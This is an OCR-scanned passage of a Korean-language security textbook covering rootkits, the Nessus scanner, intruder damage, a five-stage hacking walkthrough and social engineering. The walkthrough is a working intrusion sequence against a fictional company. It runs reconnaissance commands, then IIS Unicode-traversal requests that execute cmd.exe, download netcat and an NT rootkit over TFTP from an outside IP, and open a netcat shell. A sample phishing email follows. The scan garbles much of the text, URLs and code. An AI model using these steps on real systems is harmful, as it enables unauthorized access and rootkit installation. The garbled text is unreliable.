이러한 Rootkit 들은 침입자의 존재를 로출시키지 않는 변경된 판본으로 많은 체계감시 
편의 프로그람을 교체할수 있 다. 보충적 으로 말한다면 Rootkit 는 침 입 자가 선택할 때 마 
다 피해자체계에 접근할수 있는 비밀입구경로나《뒤문》을 창조할수도 있다. 보다 더 
개선된 Rootkit 들은 보안시험을 하는 동안 의심을 발생시키는 등록파일 (log file ) 을 완 
전히 지우는것보다 오히 려 침입자의 침투를 숨기는데 사용되는 등록 ( log ) 입구점을 줄이 
려 한다. 


도구와 함정... 


Nessus 

체계를 방위하는 훌륭한 방법은 적 (침입자)의 눈을 통해서 자기를 보는것이다. 
많은 자동화된 편의봉사프로그람들은 대상의 적발과 취 약성을 찾기 위해 망을 탐색 
할수 있 다. 최 신 방화벽 ( freeware ) 도구의 하나는 Nessus 라고 부르는 꾸레 미 
( package ) 이 다 . 

Nessus 는 자기의 망우에서 그것을 사용하고 싶어 하는 임의의 사람도 마음대로 
사용할수 있는 강력 한 최 신식 스캐 너 ( scanner ) 이 다. 다른 수많은 보안시 험 프로그람 
들과 달리 Nessus 사용은 그 어떤 허가도 받지 않는다. 이것은 주어 진 봉사가 고정 
된 포구에서 실행되고 있다고 생각하지 않아도 된다는것이다. 달리 말하면 누가 포 
구 1776에서 Web 봉사기를 실행한다면 Nessus 는 이것을 검출하고 Web 봉사기가 보 
안되 


였는가를 즉시 검사한다. 

Nessus 는 매우 신속하며 당신의 요구에 적합한 모둘적 인 구조를 가진다. 주사 
들은 당신이 중요하다고 생 각하는 그러한 취 약성 들만을 찾아 내 도록 전개 될수 있 
다. 매 보안시 험 은 외부접 속기 ( plug - in ) 로 작성 되 였다. 이 방법 은 Nessus 엔진의 
코드를 읽지 않고 당신자체로 쉽게 검사를 추가할수 있다. 

Nessus 검 사프로그람 ( scanner ) 은 두 부분 즉 보안시 험 을 진행하는 봉사기부분 
과 말단쪽에 봉사하는 의뢰기부분으로 이루어 져 있다. 봉사기와 의뢰기는 서로 다 
른 체계에서 실행시킬수 있다. 추가적으로 여기에는 여러개의 의뢰기가 있다. 하나 
는 XII 용으로, 하나는 Win 32 용으로, 하나는 Java 에서 작성되였다. 

대규모망에 대해서도 Nessus 는 같은 시간에 수많은 주콤퓨터들을 제한없이 검 
사할수 있 다. Nessus 봉사기 를 실 행하는 장소의 능력 에 따라서 동시 에 2개，10개， 
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3. 손상 또 손상 


침 입 자가 체 계 를 완전히 성과적 으로 침 입 한후 침 입 은 체 계 관리 자가 존재 할수 있는 
시간과 가능성을 배제하는 도보경기로 된다. 침입자는 체계관리자의 존재가 거의 희미해 
졌다고 생각될 때 공격할 예정이므로 여러가지 방법으로 체계와 그것들의 자료를 매우 
위태롭게 하는 충분한 기회를 가지게 될것이다. 

침입 자는 공격하기전에 피해 자체계의 OS 를 알았기때문에 적 당한 Rootkit 를 조립하 
여 계 획을 작성 하는것 이 그 설계에서 막대한 리익으로 될수 있다. 첫번째로 진행하는 일 
은 Rootkit 가 림시로 가입등록이 진행될수 없게 하고 초기침입을 폭로할수 있는 직결식 
등록에 있는 입구점들을 선택 적 으로 지워 버리게 할것 이 다. Rootkit 는 다음 모든 체 계 
처 리, 파일체계감시편의프로그람，망추적분석，그것들의 가입등록과 파일들을 감시할수 
있는 체 계등록편의프로그람들을 재배 치할것 이 다. 갱 신된 가입등록과 인증체 계들은 검출 
에 구애되지 않고 등록되여 설치될것이다. 만일 시간이 허락한다면 그는 자기의 변경된 
2진파일이 발견되여 합법적인 판본을 가지고 재배치되였다면 가입등록을 할수 있도록 사 
용자등록자리파일을 변경시킬수 있다. 만일 침입자가 넓은 령역을 차지했다면 사용자는 
침입자에게 접근을 제공하는 취약성들을 수정할수도 있다. 이것은 아무도《그의》체계 
안에 침 입할수 없으며 자기의 계 획을 파탄시 킬수 없다고 장담하게 할것 이 다. 

이 점에서 침입자는 손상을 줄수 있는 많은 활동을 할수 있다. 보다 서툰 활동들가 
운데는 전체 체계파괴가 있다. 이러한 부류의 파괴를 단행하는 침입자들은 일반적으로 
가장 미숙한 공격자들이다. 그들의 존재는 피해자체계의 실행이 중지되고 따라서 곧 뒤 
조사가 진행되므로 즉시 발견될수도 있다. 대체로 이러한 경우에 손상은 오직 타격 받은 
체계의 림시적인 손실이며 회복할수 없는 자료의 손실이다. 

체계를 파피하는 침입자와 동등한것은 Web 싸이트파괴자이다. 이러한 경우에 침입 
자는 공식 적 인 Web 싸이 트기 본페 지 의 이 름을 바꾸거 나 지 우고 그것 을 자기 가 설 계한것 
으로 교체한다. 이러한 침입자들의 활동은 인차 주의를 끌게 되므로 그들은 특별히 발견 
되기 쉽다. 이러한 경우에 줄수 있는 손실은 일반적으로 공동장애，체계가 복귀될 때 체 
계리용의 림시적인 손실，회복할수 없는 자료의 루실로서 제한된다. 

자기들의 존재를 로출시키지 않으려고 침 입자들은 대체로 《탐지기》를 설치한다. 
간단히 말하면 자기스스로 특별히 예정한 망추적에는 더이상 응답하지 않으며 대신 《가 
입 등록 ( login )》 과《통과암호 ( password ) 》와 같은 열쇠 항목들을 탐색 하면서 모든 망 
추적 에 응답한다. 다음 탐지 기 는 침 입 자가 여 가시 간에 수집하여 피 해 자망과 그밖의 망 
우에 있는 다른 체계들을 더많이 손상시키는데 리용할수 있는 파일에 이러한 처리들을 
등록한다. 이런 급의 공격자들은 보다 더 끈질기며 그 당시의 피해자에 대해서만이 아니 
라 앞으로의 피해자들에게도 손상을 준다는데 하나의 더 큰 위험이 있다. 그들은 직접 
피해자에게 손상을 주는것보다 피해자의 체계를 다른 싸이트들을 공격할 주콤퓨터 
( host ) 로 리용하려 고 한다. 

보다 더 나쁜것은 침입자가 소유권이나 민감한 자료에 대한 접근을 이루어 보려는 
목적 에서 체계를 고의적 으로 파피 하는것 이 다. 일부 경우에 침입 자는 신용카드자료기지， 
원천코드，상업거래비밀이나 그외의 본인만이 리용하는 자료를 복사할수도 있다. 또한 
침입자는 자기의 목적에 맞게 자료를 바끌수도 있다. 만일 론의된 자료가 원천코드이면 
침입자는 이 쏘프트웨어를 리용하는 모든 체계 에 대 한 특수한 공격을 쉽게 할수 있도록 
제품에 침입코드를 끌어 들일수 있다. 침입자의 이러한 형태는 회사와 매체들에 수백만$ 
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의 소득손실과 소비자신용손실을 입힌것으로서 큰 파문을 일으켰다. 

가장 나쁜 경우에 침입자는 며칠 또는 몇주동안 체계에서 쉽게 떨어 져서 먼 거리에 
서 체계의 행동을 감시한다. 이것은 침입에 의한 손상이 가장 적은것처럼 보이지만 가장 
위태롭다. 침입자의 의도는 간단하다. 즉 그는 심하게 파괴된 체계를 정확하게 회복된것 
처럼 믿게 하여 체계관리자에 의한 복귀를 막으려고 한다. 이 방법으로 자기의 존재가 
앞으로 어떻게 발견된다 해도 모든 체계회복이 특별히 공들 인 손상된 쏘프트웨 어를 쉽게 
다시 끌어 들임으로써 자기의 접근이 계속 담보되게 한다. 시간이 경과하면 그가 망우의 
매 체계가 위급하다는것을 알릴 때까지 피해대상의 망을 통하여 이러한 침입형태를 반복 
할것이다. 이러한 상황에서 침입자의 파괴와 관통된 깊이는 가상적으로 제한되지 않는다. 
즉 그의 존재는 알수 없으며 알려 질수도 없다. 그는 자기의 호기심을 충분히 만족시키 
고 조직에 있는 다른 사회적공학자에게 자기의 능력을 넘겨 주며 또 자기의 흥미에 맞게 
교묘한 방법으로 자료를 변경시키는데 이 정보를 리용할수 있으며 적수들한테서 정보를 
얻어내여 팔수도 있고 지어 위협공갈할수도 있다. 요약하여 말하면 그는 전자공학적으로 
남이 알아 차리지 못하게 관찰하는 사람이며 훨씬 더 위험하다. 

4.역습 

많은 관리자와 체계관리자들이 침입자의 기능을 배우는것은 결코 나쁘지 않다.그들 
은《전쟁유희》을 지휘하거나 체계 및 봉사의 효력을 결정하는 관통검사는 전혀 의의가 
없다고 본다. 그들은 이와 같은 일들이 해커관련전술과 기술수법들을 잘 리용하는것보다 
못하다고 본다. 를퓨터보안세계에서는 이러한 사람들을 피해자 ( victim ) 라고 한다. 

에이키도 ( Aikido ) 의 호전적인 예술이 가르치는바와 같이 적대적공격을 완화시키는 
데 너무 많은 힘을 소비 할 필요가 없다. 침 입 자가 사용하는것과 갈은 공격 방법을 학습하 
고 리 해하며 실현하는 과정 을 통하여 취 약성 을 더 잘 평 가할수 있 으며 취 약성 을 극복하 
고 방어를 요새화한다. 이러한 영예로운 역습을 부단히 실시하여 우선 결함을 미리 발견 
할수도 있고 바깥무리들이 조사하는것을 막도록 고정시킬수도 있다. 계1장에서 설명한바 
와 같이 많은 종류의 해커들은 이외에도 대부분이 전문가들이거나 자기들의 리익을 해커 
하지 못하도록 하는 흰모자해 커 들이다. 

해커가 리용하는 도구를 리용하는것은 일반적인 관리자들에게는 아주 비도덕적인것 
으로 보인다. 이 러한 견해는 그러한 도구를 리용하는것은 해커와 관련한 전략과 전술을 
말 없이 합법화 하는것과 같다고 본다. 이때까지 일부 사람들은 회사의 기술을 지원한느 
직 원처 럼 이 러 한 도구를 리 용하는것 을 반대 할수 있 다. 회 사의 기 술을 지 원하는 사람들은 
회사의 체계와 봉사들을 적합하게 리용할수 있는 정보를 제공한다. 이러한 해커도구들은 
체 계와 봉사들을《 악용》할수 있는 강력한 정보를 제공한다. 

이것을 고려하여 회사들은 비전문가들을 반대하여 활동하는것을 직업으로 하는 사람 
들의 집 단을 양성 하고 그들에게 회 사의 체계와 봉사를 반대 하여 그러 한《해커도구들》 
을 리용할수 있는 충분한 기회를 제공한다. 이러한 도구의 리용과 최근의 보안권고에 따 
르면서 그는 자기의 유희에서 침입자들을 잘 막아 낼것이다. 이러한 적합한 전술이 없이 
는 자기들의 보안이 검사된것이라고 믿지 않을것이며 또 이것은 여기에 취미를 가지고 
있는 일부 사람들만 할 일이 결코 아니다. 
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제 2 절. 해킹의 5가지 단계 


대중적인 의견에 상반되게 흥분된 헐리우드파의 해커들은 침입자적대담성도 없이 또 
면밀한 사전준비도 없이 싸이트안에 뛰여 들군 한다. 그러나 로련한 침입자는 목표체계 
나 망에서 펼요한 정보를 얻을수 있는 여러가지 전략과 전술적지도를 작성할것이다. 그 
들은 수집한 정보에 기초하여 실행계획을 완성하며 입구점이 설정할것이다. 침입자들은 
목표체계를 완전히 관통할것을 바라기때문에 그들은 계획을 작성하고 그에 의해서 비법 
적인 접근을 유지하며 심화시킨다. 그다음에야 로련한 침입자는 공격활동을 시작한다. 

1. 공격지도작성 

공격을 진행하기 위한 준비를 할 때에는 항상 공격하려는 지대를 잘 알고 있어야 한 
다. 여기서 로련한 침입자는 실수하지 않는다. 공격계획을 작성할 때마다 고려하여야 할 
문제 가 많다. 가령 침 입 자가 Treachery Unlimited 라고 부르는 회 사에 승인없 이 침 입 
한다고 하자. 그리고 실례로 이 회사는 《 WhiffRead 》 라고 부르는 제품을 판다고 하자. 
침입자는 회사이름과 그 제품을 제외하고 아무것도 모르고 있다. 

첫 단계는 회사가 Web 에서 싸이트를 가지는가 안가지는가를 결정하는것 이 다. 싸이 
트와 그의 제 품에 대 한 정 보를 지 적 하기 위하여 그림 5-1 에 보여 준바와 같이 
Google ( www . google , com ) 를 리 용할수 있 다. 



그림 5-1. Treachery Unlimited 와 Whiff Read 에 대한 Web Search 결과 
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탐 색 엔 진 에 의 하 여 제 공 된 결 과 로 부 터 우 리 는 동 일 한 Web 싸 이 트 가 
www . treachery . net 에 놓여 있다는것을 알수 있다. 다음단계는 그것들의 망령역을 결 
정 하는것 이 다. 이 를 위 하여 Name Server Lookup ( nslookup ) 를 리 용한다. 


Snslookup www . tar ^ adiaiy .. net 
Server : localhost 
Address : 127.0.0.1 
Non-authoritative answer : 

Name ： www . treachery.net 
Address : 208.37.215.233 

현재 다루고 있는 령역 이름과 그것들의 IP 주소를 가지고 ARIN 자료기지를 질문함으 
로써 얼마나 많은 다른 IP 주소들이 할당된 망에 있는가를 결정할수 있다. 

$ whois -h whois . arin.net 208.37.215.233 

Treachery Unlimited ( TREACHERY - DOM ) ( NETBLK - TREACHERY - COM ) 
208.37.215.0 - 208.37.215.255 

이 시각에 treachery , net 구역이 256 까지의 IP 주소를 생성 하도록 결정 하였다. 이 정 
보를 가지 고 NMAP 로 주사한 망을 알수 있 다 (그림 5-2). 검 출을 피 하기 위하여 NMAP 
《스텔스》주사를 리 용할수 있다. 



그림 5-2. 클라스 C 망 208.37.215. 0/24의 NMAP 스텔스주사의 결과 

NMAP 주사의 결과로부터 응답하는 하나의 체계를 찾을수 있다. 그것은 체계의 나 
머지 가 비직결 ( offline ) 또는 숨겨 진 방화벽의 일부라고 가정할수 있다. 비 록 작은 응 
답일지라도 결과는 약속한것 처 럼 보일수 있다. 론의 중의 체계는 여 러 가지 잠재적 으로 공 
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격 받기 쉬운 봉사들 즉 FTP , Secure Shell ( SSH ), Finger , HTTP 와 Interactive 
Mail Access Protocol ( IMAP ) 을 실행 한다. NMAP OS 를 어림짐작으로 실행 하지 않고 
응답하는 체 계 의 OS 를 결 정 하려 하기 때 문에 체 계 에 대 한 HTTP 포구로 telnet 할것 이 며 
HTTP HEAD 요구를 수행할것 이 다. 대 부분의 Web 봉사기 들은 그것들의 어와 HTTP 판 
본을 로출하도록 설계되였다. 이렇게 하면 앞으로의 공격들을 계획하는메서 유용한 정보 
를 제공하게 될것이다. 제공된 봉사기의 응답으로부터 우리는 이 체계의 OS 가 
Microsoft NT 이며 Web 봉사기 는 Microsoft 의 Internet Information Server v 4.0 이 라 
는것을 안다. 이것만으로도 공격의 기초로 될수 있는 대 단히 충분한 정보이다. 

$ telnet 208.37.215.233 80 
Trying 208.37.215.233. " 

Connected to 208.37.215.233 

Escape character is 

HEAD / HTTP /1.0 

HTTP /1.1 200 OK 

Server : Microsoft - IIS /4.0 

Date ： Fri , 16 Feb 2001 18:45:23 GMT 

Content - Length : 256 

Content - Type : text/html 

Connection closed by foreign host . 


2. 실행계획작성 

공격실행계획을 작성할 때 다음과 같은 항목의 내용을 만들어야 한다. 

• 공격 당하기 쉬운 봉사들은 앞서 실행 하며 인터 네트가 휴식 할 때 련결들이 접속 
되여야 한다. 

• 사용된 채용들은 봉사거부의 형식을 요구하지 않는다 ( DoS 는 공격을 배재할것 
이 다) . 

• 정적 및 console 채용들은(플로피디스크로부터 설정 같은) 사용하지 못한다. 

일 반정 적 채 용들은 혹시 일 부가 비 특권적 shell 접 근을 얻을수 있지 만 표준적 으로 
는 UNIX 변종에 서 만 적 용한다. 

Scan 의 결과에 기초하여 목표의 HTTP 봉사와 함께 련결된 상태에서 발견된 정 
보는 우리의 공격계획을 도와 줄수 있는 요소라는것을 알수 있다. 

• 목표체 계 OS : Microsoft NT 

• 목표체계봉사들 : FTP , Telnet , SSH , Finger , HTTP , IMAP 

• Web 봉사기 : Microsoft IIS v 4.0 

이 세가지 요소들을 리용하면서 취약성들에 대한 개별적자료기지를 찾아 낼수 있으 
며 Common Vulnerabilitie 와 Exposures 싸이 트 ( http ：// eve , mitre . or ) g / cve ) 와 같은 
Web 우에서 의 자료기지 ， SecurityFocus ( www . securityfocus . com ) 에 보관할수 있는 
Bugtraq 자료기 지 ， PacketStorm ( MMi/f . ragkiMitoim , saoirify . qctm ) 때 서 리 용할수 
있는 채용자료기지를 찾을수 있다. 
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이 매 개 싸이 트를 재조사하여 Microsoft NT 와 그것 들의 IIS Web 봉사기를 반대 하 
는 공격자(공격들의 회수)를 쉽게 찾을수 있다. 1995년이후 약 400개의 비법적인 사건들 
이 일어 났다. IIS 를 제외하고 OS 와 봉사들에 대한 이 대부분의 공격들은 그것들이 구 
성 하는 DoS 공격 에 의하여 빨리 해 산되 여 필 요한 원천코드를 얻 기 위한 목적 을 달성할수 
없었다. 공격 자는 체계 에 대 한 물리 적 접근을 요구하는데 그것은 방어 자가 우세하므로 불 
가능하다. 이것을 고려하여 선택된 공격방법은 다음과 갈은것을 포함한 IIS 봉사에서 람 
색하는 본질적인 취약성들을 리용하는 원격공격이여야 한다. 

• IIS 3. 표와 4. 표에 있 는 Microsoft 자료접 근콤퍼 넨 트 (Microsoft Data Access 
Components : MDAC ) 와 원 격 자 료 봉 사 (Remote Data Service : RDS ) 
DataFactory 콤퍼넨트는 비 안전메쏘드 ( Me 比 iod ) 들을 로출시켜 임의의 지령을 실 
행하도록 공격 자들을 원격조종하게 된다. 

• Microsoft Index 봉 사 기 (Microsoft Index Server ) 에 있 는 WebHits ISAPI 
filter 는 파일들을 마음대 로 읽도록 공격자를 원격조종한다 (《Malformed Hit - 
Highlighting Argument 》취 약성 을 리 용 ). 

• IIS 4.0 과 5.0 은 조작체 계 에 지 령과 함께 첨 가된 이름을 가진 실행할수 있는 파 
일에 대 한 기형화된 요구를 통하여 지 령을 제멋대로 실행하는 공격 자를 원격조종 
한다. 다른 말로 이 것 은《 유니 코드결 함 (Unicode bug ) 》취 약성 이 라고 한다. 

3. 입구점의 확립 

대체로 최근의 취약성은 말그대로 제일 적게 방어되는 취약성이며 맨 초기에 가장 
적절하게 채용된다. 합리적 인 접근방안은 간단하다. 그것은 대부분의 IDS 들이 공격기도 
들을 발견할수 있게 하는 공격서명을 제한하는것이다. 게다가 만일 채용이 진행되지 않 
으면 그것 은 론의 되 고 있는 봉사가 현재 나 지난 시 기 취 약성 을 극복할수 있게 하는 정 확 
한 서명 이라는것 이며 대 신 다른 믿음직한 봉사들을 채용하려고 시도할것 이 다. 이 가능성 
을 고려하면서 공격 계 획은 두번째 로 적 절한 파괴 가능한봉사와 세번째준위의 파괴 가능한 
봉사를 포함할것 이 다. 인터네 트상에서 대부분의 체계는 지금까지 림시수정준위 에 있기때 
문에 그것은 실제적인 관통이 발생하기전에 3가지 공격계획을 다 소모해도 리용하기 힘 
들다. 

공격의 첫번째, 두번째，세번째 방법을 결심한 기초우에서 계획은 실제적으로 진 
행 된 다. 이 경 우에 유니 코드탐사가 먼저 시 도될 것 이 다. 이 공격 을 위하여 리용하는 방 
법은 특별한 문자(..과 /와 갈은 ) 들에 대한 유니코드값을 리용하는것이다. 여기서 문 
자들은 Web 싸이 트방문자들이 일 반적 으로 리용할수 없는 등록부나무를 횡 단하는데 리 
용할수 있다. 

4. 련속되는 접근과 앞으로의 접근 

첫번째 시도로써 체계우에서 파일을 창조하기는 어려울것이다. 이러한 시도는 체 
계 를 속일 수 있도록 그의 지 령 조종자 cmd . exe 를 실 행하는데 유니 코드결 함을 리용할 
수 있다. 

$ telnet 208.37.215.233 80 
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Trying 208.37.215.233... 

Connected to 208.37.215.233. 

Escape character is ‘ . 

GET 

/ scripts /.. % cl %9 c .. / winnt / system 32 / cmd . exe ?/ c + echo + test + message +> 
+ test . msg 

HTTP /1.1 200 OK 

Server : Microsoft - IIS /4.0 

Date ： Fri , 16 Feb 2001 19:20:32 GMT 

Content - Length : 0 

Content - Type : text/plain 

Connection closed by foreign host . 


첫 시도는 성공하였지만 체계에 더 깊숙한 침투를 시도하기전에 확인하여야 한다. 
채 용의 성 공을 확인 하기 위하여 같은 방법 을 리 용하려 고 하지 말고 방금 창조되 였 다고 
생각하는 파일을 다시 읽어야 한다. 이것이 만일 성공한다면 완전한 채용을 가지고 접근 
이 진행된다. 

$ telnet 208.37.215.233 80 
Trying 208.37.215.233... 

Connected to 208.37.215.233. 

Escape character is ‘ᄀ ’ . 

GET 

/ scripts /.. % cl %9 c .. / winnt / system 32 / cmd . exe ?/ c + type + test . msg 

HTTP /1.1 200 OK 

Server : Microsoft - IIS /4.0 

Date ： Fri , 16 Feb 2001 19:21:11 GMT 

Content - Length : 13 

Content-T ype : text/plain 

test message 

Connection closed by foreign host . 


체계에 파일을 쓰고 읽을수 있는 가능성을 다 확인하였다. 그것은 말그대로 이 체계 
의 보안의 마지막단계의 시작으로 된다. 우리가 요구하는 자료에 대한 체계를 탐색하기 
위하여 특별히 이지러 진 URL 를 반복수정하는데 많은 시 간을 소비하는것보다는 호상작 
용하는 shell 접근을 요구하는것 이 좋다. 추가적 인 쏘프트웨어를 얻 기 위한 체 계를 지시 
해야 한다. 이를 위해서 우선 다른 체계우에서 리용할수 있는 보통파일전송규약 (Trivial 
File Transfer Protocol : TFTP ) 를 사용하여 즉시 내 리 적재하기 위 한 여 러 개의 직 결식 
열쇠파일을 배 치한다. 

• Windows NT 에서 콤파일된 Netcat 편의 프로그람 ( NC . EXE ) 
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목표체계우에서 지적된 포구에 조속시키기 위하여 Netcat 를 시작할수 있으며 따 
라서 직접 등록할수 있다. 

• NT rootkit (DEPLOY. EXE and ROOT. SYS) 


이 두개 파일은 충분한 rootkit 를 포함하며 그에 의 하여 목표체 계 가 효과적 인 트로 
이목마로 될수 있다. 따라서 침입은 보이지 않게 계속되고 자유롭게 접근할수 있다. 

내 리적재하기 위한 이 러한 파일들이 준비된다면 본격적으로 체계를 공격할 준비 가 
되였다고 본다 . 

5.공격 

NT 에서 FTP 의뢰기는 외부파일전송방식을 제공 받지 못하기때문에 파일을 접수하 
기 위하여 TFTP 를 리 용하여 야 한다. 이 를 위해서 다시 유니 코드결 함을 람색 한다. 

$ telnet 208.37.215.233 80 
Trying 208.37.215.233... 

Connected to 208.37.215.233. 

Escape character is ‘ . 

GET 

/scripts /.. %cl%9c.. /winnt/system32 / cmd. exe?/c+tftp+-i+216.240.45.60+GET+ 
nc.exe 

HTTP/1.1 200 OK 

Server : Microsoft-IIS/4.0 

Date ： Fri，16 Feb 2001 19:20:32 GMT 

Content-Length : 0 

Content-Type : text/plain 


Connection closed by foreign host. 


우의 GET 요구를 두번이상 반복하고 매 요구는 DEPLOY.EXE 와 _ROOT_.SYS 를 
각각 내 리 적재한다. 

마지막으로 이러한 GET 요구를 다음과 같이 발송함으로써 호상작용하는 Shell 을 
연다. 

GET 

/scripts/.. %cl%9c.. / winnt/system32 / cmd. exe?/c+nc. exe+-l+-p+100+-t+- 
e+cmd. exe 

포구 100 에 cmd.exe 가 종속되게 하는 Netcat 를 포함시킨다(포구 100 은 이전에 주 
사됨으로써 사용하게 되여 있지 않다). 이 단계가 완성된후 다음의 지령을 발송한다. 

$ telnet 208.37.215.233 100 
Trying 208.37.215.233... 
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Connected to 208.37.215.233. 
Escape character is ' . 
C ：\ winnt \ system 32\ > 


성공! 

이 때 부터 체 계 우에 서 완전한 조종권을 가지 며 즉시 Rootkit 들을 설 치할수 있 다. 

이 단계가 완성되면 체계는 기본적으로 자기의것으로 되며 필요한것을 무엇이든 변 
경할수도 있고 파일을 마음대 로 가질수도 있다. 

이 시각에 체계관리자의 접근준위는 사용자와 같지 않다. 우리는 그의 존재를 검출 
할수 있지만 그는 우리를 검출할수 없다. 

우리는 승인되지 않았음에도 불구하고 새로운 체계관리 자로 될것 이 다. 

_ 

실지 표준적 인 NT 체계안에서 정지는 쉽다. 이 절에서 실례는 과장되지 않았 
다. NT 체계는 적대적인 침입자들에게 좋은 대상으로 되고 있다. 이와 같이 작성되 
였을 때 전체 손상된 Web 싸이트들의 45%가 NT 실 행 이다. 보다 구체 적 인것 은 
www . attrition , org / mirror/attrition / stats , html 을 참고하시오. 


침입자가 목표체계에 완전히 접근하면 관리자가 할수 있는 모든 응용프로그람들을 
완전히 실행시킬수 있다. 침입자는 체계응용프로그람을 적재할수 있으며 마음대로 자료 
를 바꾸고 지어 목표체계를 관계가 없는 다른 체계를 반대하는 추가적인 공격을 진행하 
는데 리용할수 있다. 보안안전이 든든한것을 제외하고 쓸데 없는 많은 보안안전은 말그 
대 로 목표체 계 를 위 한《 유희 완료 (game over ) 》이 다. 

그러 나 모든것 을 반드시 잃 어 버리 는것 은 아니 다. 

Triwire 와 같은 주를퓨터 관련 침 입 검 출체 계 를 리 용하여 보안감시 관리 자 ( security - 
aware administaor ) 는 허 락되지 않은 체계 변화를 감시 하며 침 입 자를 반대 하여 시 기적 
절 한 활동을 할수 있 으나 체 계 관리 자와 사용자가 정 상적 인 체 계 활동과 비 정 상적 인 체 계 
활동에 한결 같이 주의 를 돌릴 것 을 요구한다. 항시 적 인 주의 는 값 비 싼 보안이다. 


제 3 절. 사회공학 


가장 일반적인 해커 전통의 하나인 서 명 등록 DefCon ( www . defcon . org ) 은 간단한 3 
개의 아이콘을 가지고 동작한다. 즉 콤퓨터해킹을 표현하는 콤퓨터디스크아이콘，프레킹 
으로 알려 진 전화해 킹 을 표현하는 전화번호표식아이 콘 그리 고 해 적 Jolly Roger 와 비 
슷한 아래쪽에 엇갈린 그림쌍을 가진 웃는 얼굴아이콘이 다. 많은 사람들은 처음 두개의 
아이콘은 빨리 리해하지만 세번째는 당황해 한다. 

세번째 아이콘은 보안에 대한 가장 끈질긴 위협 즉 사회적공학의 하나를 의미한다 
(피해동맹자들을 식별하여 현시하는것에 의하여 접근한 목표인 배들을 솜씨 있게 해적한 
다) . 간단히 말하여 사회 적 공학은《 인간해 킹》이며，고유한 의미 에서 는 정 보수집 과 접 
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근을 제공하기 위하여 단독으로 설계된 위장유희이며，비전문가에게는 다른 방법이 있을 
수 없다. 침입 자들은 더 다르게는 접근할 가능성 이 없는 목표싸이트에 접근하고 공격하 
기 위해 이 정보를 리용한다. 

1. 민감한 정보 

사회 공학은 쏘프트웨 어설계 에서 불충분한것 들보다는 오히 려 사람들의 믿 음관계 에서 
존재하는 취약성에 의거하는 수많은 신용기술들을 대상하고 있다. 임의의 사회적공학의 
공격목표는 목표체계의 보안을 침해하는데 필요한 정보들을 공격자에게 제공한다는 점에 
서 승인된 사람으로서의 신임을 얻자는것이다. 많은 정찰공격의 경우와 마찬가지로 얼핏 
보기 에는 중요하지 않은 자료가 공격 자가 잠시 휴식 하는 시 간에 싸이트보안을 빨리 해결 
할수 있는 기회를 줄수 있다. 

실례로 대부분의 회사에서 사람들은 자기들이 리용하는 체계를 고려한 마당호출을 
진행해야 한다. 사회공학을 통하여 비전문가(주어 진 싸이트에서 어떤 봉사를 쓸수 있는 
가를 생각하지 못하는 사람)는 주어 진 회사를 쉽게 호출할수 있으며 회사에서 리용하였 
다고 추측되는 실제적인 봉사들을 리용한 여러 사람들을 새로 고용하려고 한다. 접수자 
는 체계관리자를 통하여 거기에 들어 간 사람을 쉽게 지적할수 있다. 이것은 물론 회사 
가 실제적인 봉사들을 리용하고 있다는것을 고려하여야 할것이다. 물론 로련한 사회적 
공학자는 접속하기 전에 관리 자의 이 름을 요구할것 이 다. 몇 분내 에 사회 적 공학자는 회 사가 
작은 그림을 가지고 리용하는 봉사에 대해서는 아무것도 알지 못한다는것을 알수 있다. 
좋지 않은것은 그가 회사의 체계관리 자에 기초한 첫 이름에 있는것 이 다. 

책략은 단지 거기서 끝나지 않는다. 그가 체계관리자를 통해 들어 간후에 사회적공 
학자는 재빨리 상황을 바꾸어 자기자체를 동일한 체계관리자처럼 표현하며 회사가 리용 
하는 방화벽을 가지고 자기가 처한 곤난한 상태를 극복한다. 이러한 시점에서 체계관리 
자는 십중팔구 회사가 방화벽을 리용하지 않고 즉시 초기상태로 되돌아 가게 하며 또 그 
들이 리용하는 방화벽의 모형과 동반자를 폭로한다. 

몇분사이에 비전문가는 관리자의 이름，봉사와 당신의 회사가 리용하는 방화벽에 대 
하여 일부 알게 된다. 이 정보만을 가지고 침입자는 그가 방금 배운 내부체계에 대하여 
잘 모르던 측면들을 구체적으로 학습하여 회사에 있는 사람과는 다른 현대의 사회적공학 
기사로 될것이다. 결과 그는 단순히 정보를 모으는것이 아니라 완전한《카멜레온》이 
되여 회사가 알고 있는 측면보다 더 많은 정보를 엄을 때까지 회사와 련결되는 홈폐지들 
을 항행 ( Navigating ) 할수 있 다. 

이것은 더 생각해 보지 않아도 대단히 민감한 정보를 사람들이 어떻게 가지는가에 
대한 작은 실례에 불과하다. 다른 기술과 매체들은 사회공학적공격에서 리용될수 있지만 
모든것이 하나의 기초적 인 흐름에 의거하고 있다. 즉 인간자연이 다. 

1) 전자우편 훅은 통보봉사 

전자우편任- mail ) 은 날자를 사용할수 있는 사회공학의 가장 단순한 수단이다. 다른 
한편 사람들은 그들이 본적이 없는 보고들이 자주 전자우편에 나타나기때문에 자기의 전 
자우편수신함에 있는 모든것들을 거의나 다 보려는 호기심을 가지고 있다. 실례로 그들 
자신의 생 활에 서 있 게 되 는 《 비 루 스경 보 (Virus Warning ) 》와 《 모뎀 세 금 (Modem 
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Tax )》 과 같은 속임수들을 고찰하자. 공격자들은 이러한 속임수들을 알고 그것을 공격 
에 러용한다. 

전자우편을 통하여 속이기는 대단히 쉽기때문에 공격자들이 이러한 속임수를 만드는 
것은 어렵지 않다. 임의의 제3부류의 공개우편중계와 겉보기에는 유효한《어디서부터》 
의 주소를 통하여 비 록 초보적 인 사회 적 공학공격 일지 라도 공격 자가 커 다란 성 과를 거 둘 
수 있게 한다. 실례로 다음의 전자우편을 생각하자. 


: 田 : ah Personnel < all . personnelSyourcompany . com> 

From ： Security Tiger Team 〈吐 ger . teamSyourcompany . com > 
subject : Mandatory password change . 

Effective immediately , all personnel are directed to change their login 
passwords . Please click on the following link . 

www . yourcomany . com 83492141032/54321/ 


You will need to enter your current password and then select a new 
password . Thank you for your cooperation . 


Sincerely , 

Security Tiger Team 

이 상의 실 례 는 의 미 론적 인 공격 (semantic attack ) 이 다. URL 은 미 숙한 눈으로 찾아 
보지만 사실상 그들이 www . yourcompany . com 을 방문하고 있다는것을 믿게 하는 얕 
은 수에 불과하다. 이 책략을 찾아 내려면 자기자체와 그리고 같이 일하는 사용자들이 
교육을 받아야 한다. 이것은 실행을 많이 하게 하고 시간과 노력을 소비하게 한다. 

든든한 보안경찰과 비슷한 그들은 이러한 책략들을 붕피시킬수도 있다. 
www . yourcompany . com 에 서 표현 한 적당한 URL 은 사실상 어 떤 회 사페 지 를 흉내내 
도록 사전에 설 치 하였 다는것 을 가리 키 는 (《 toucompanypage . com 》 이 아닌) 위 장된 
